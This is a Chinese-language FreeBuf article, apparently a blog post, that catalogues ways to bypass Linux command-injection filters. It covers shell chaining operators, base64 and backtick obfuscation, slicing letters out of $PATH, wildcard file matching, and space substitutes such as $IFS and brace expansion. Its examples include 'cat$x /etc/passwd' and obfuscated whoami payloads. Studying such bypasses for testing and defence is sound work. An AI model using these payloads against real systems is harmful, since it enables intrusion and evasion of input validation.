linux命令执行绕过姿势总结
linux下命令执行绕过总结
|| 符号 当前一条命令执行结果为false 就执行下一条命令
| 符号 只执行 | 符号后面的命令
&&符号 当前一条命令执行结果为true 就执行下一条命令
&符号 只执行 & 符号后面的命令
; 符号 不管前一条命令执行的结果是什么,执行下一条命令
变量覆盖
a=l;b=s;$a$b
反引号加base64
`echo d2hvYW1p | base64 -d `
反引号加混淆
w`saaaddd8450`ho`762aseba2`am`f0j71`i
wh$(caigou)oa$(anquan)mi
666`whoami`666
$1 、$@ $* 混淆
在linux中 $1 $@ $* 等不会影响命令的正常执行
wh$1oami
who$@ami
whoa$*mi
换行执行命令
利用linux中的环境变量
export PATH=$PATH:/abcdefg/hijklmn/opq/rst/uvw/xyz //通过设置临时环境变量
linux是否能像windows那样,使用环境变量里的字符执行变量呢,当然也是可以的。 首先
echo $PATH //查看环境变量
接着我们来截取字符串,截取字符串的语法是
${PATH:a:b} //表示从第a位开始截取,b表示截取的长度
例如
${PATH:5:1}${PATH:2:1} //ls
正常情况下环境变量会比较多,基本上可以在里面找到26个字母以及0-9的数字足够我们执行想要的命令,但是环境变量比较少我们可以尝试自己设置临时环境变量
export PATH=$PATH:/abcdefg/hijklmn/opq/rst/uvw/xyz/0123456789 //设置临时环境变量
然后通过字符串截取语法来达到命令执行的目的
${PATH:88:1}${PATH:70:1}${PATH:78:1}${PATH:62:1}${PATH:75:1}${PATH:71:1} //whoami a=62 w=88
关键字过滤的绕过
未定义的初始化变量
cat$x /etc/passwd
?绕过
在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制访问一些敏感文件
cat fl?g.tx?
同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符
cat fl*g.tx*
命令执行中的空格代替方法
<符号代替空格或者<>代替
$IFS代替空格(需要配合引号使用)
cat$IFS'test.php'
${IFS}代替空格
cat${IFS}test.php
$IFS$9代替空格或者$IFS$1
cat$IFS$9test.php
很多文章里说$IFS$后面跟的数字需要是奇数才可以,不过在我测试的时候发现奇数偶数都可以
{}代替空格
在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格
{ls,-alt}
{cat,test.php}
%09执行效果,常用于url空格替换
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录